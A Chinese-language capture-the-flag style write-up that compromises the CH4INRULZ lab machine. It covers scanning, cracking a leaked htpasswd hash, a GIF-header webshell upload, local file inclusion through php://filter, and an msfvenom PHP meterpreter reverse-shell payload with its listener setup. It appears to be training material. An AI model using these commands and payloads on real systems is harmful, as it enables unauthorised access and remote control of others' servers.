靶机渗透记录—CH4INRULZ_v1.0.1

文章首发于星盟安全公众号

打开靶机

信息搜集

然后切换到攻击机先去做信息搜集扫描一下同网段内存活的主机

nmap -sP -n 192.168.191.0/24

扫到了一个192.168.191.129

探测一下

nmap -sS -sV -Pn -n 192.168.191.129

加个-A探测更详细的版本信息

nmap -sS -sV -A -Pn -n -p- 192.168.191.129

扫描到了 21 22 80 8011端口其中80 8011都是web服务

查看主站

先去看看80端口吧网站没啥东西

扫描一下目录

发现可以目录访问网站

扫描到了http://192.168.191.129/development/ 访问会让输入用户名和密码

试试admin + 弱口令手动输入了几个都不对

还扫描到了一个备份文件index.html.bak

<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

这段貌似是用户名和密码但是密码是经过加密的

frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0

用john爆破一下

知道了用户名和密码

frank:frank!!!

登录http://192.168.191.129/development/页面

网页如下并没有什么东西

看到提示是一个没有完成的上传界面

通过猜关键词upload uploads uploader

找到一个文件上传点

看看能不能传个木马上去几番尝试之后发现是白名单

File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

只允许only JPG, JPEG, PNG & GIF

查看旁站

再去看看8011端口

扫描一下扫出来了 http://192.168.191.129:8011/api/

这个API将用于与Frank的服务器通信

但仍在开发中

访问一下这些php文件

发现只有 files_api.php 是存在的

翻译：

没有传递给我名为file的参数

*注意：这个API不使用json，所以以原始格式发送文件名

那貌似是文件上传呀先随便填一个file参数试一下

wrong input

换个参数试试

没反应那说明file参数是接收的

接下来试一下post传参没啥反应

换个内容原来是可以任意读取的

用伪协议读一下页面源码试试

解码如下

<head>
  <title>franks website | simple website browser API</title>
</head>

<?php


$file = $_POST['file'];
include($file);
$get_file = $_GET['file'];

if(isset($get_file)){

echo "<b>********* HACKER DETECTED *********</b>";
echo "<p>YOUR IP IS : ".$_SERVER['REMOTE_ADDR'];
echo "</p><p>WRONG INPUT !!</p>";
break;
}


if(!isset($file)){

echo "<p>No parameter called file passed to me</p>";
echo "<p>* Note : this API don't use json , so send the file name in raw format</p>";

}

/** else{
echo strcmp($file,"/etc/passwd");
echo strlen($file);
echo strlen("/etc/passwd");
if($file == "/etc/passwd"){
        "HACKER DETECTED ..";
        }
}**/


?>

post进去的可以被包含

Msf Getshell

回主站上传图片马

加上GIF文件头上传成功

但是不知道上传到哪里去了利用文件包含去猜一下

apache服务器一般是在 /var/www/下

file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php

base64解密后拿到了源码

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
    echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

第二行就看到了目录

1	$target_dir = "FRANKuploads/";

再回旁站去包含

成功访问大马但是不是一直包含是没法用的

那就用msf生成一个反弹shell的马

1	msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.191.128 LPORT=8888 -f raw -o 1.php

然后启动监听

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.191.128
lhost => 192.168.191.128
msf5 exploit(multi/handler) > set lport  8888
lport => 8888
msf5 exploit(multi/handler) > run